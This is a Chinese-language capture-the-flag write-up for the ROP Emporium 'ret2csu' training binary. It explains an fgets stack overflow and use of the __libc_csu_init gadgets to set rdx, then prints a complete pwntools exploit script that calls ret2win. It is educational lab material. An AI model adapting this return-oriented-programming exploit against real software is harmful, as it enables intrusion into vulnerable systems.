Introduction
ROP Emporium训练7:ret2csu的解析。
ret2csu
Step 1
程序运行图:
checksec:
根据提示,最终还是要调用ret2win函数,但是对相应寄存器有了一定限制。
Step 2
把程序丢到hopper中发现pwnme函数中fgets函数存在溢出漏洞:
根据提示我们是需要调用ret2win函数:
并且提示我们需要将低3个参数即rdx寄存器的值置为0xdeadcafebabebeef,但是通过ROPgadget我们并没有找到可以控制rdx寄存器的gadgets:
根据ret2csu - 万能gadgets我们可以选择利用万能gedgets实现传参:
主要思路和easy_csu差不多,同样通过init_array_start函数的指针来跳过gadget2中的那条call指令。
Step 3
EXP脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| * from pwn import * * * sh = process('./ret2csu') * elf = ELF('ret2csu') * * gadget1 = 0x40089a * gadget2 = 0x400880 * * init_addr = elf.symbols['__init_array_start'] * ret2win_addr = elf.symbols['ret2win'] * * payload = 'a' * (0x20 + 0x8) * payload += p64(gadget1) + p64(0) + p64(1) + p64(init_addr) + p64(0) + p64(0)+ p64(0xdeadcafebabebeef) * payload += p64(gadget2) + 'a' * 56 * payload += p64(ret2win_addr) * * sh.recvuntil('>') * sh.sendline(payload) * * sh.interactive() * sh.close()
|
EXP脚本运行结果:
End
至此ROP Emporium的8个训练全部结束,完结,撒花~~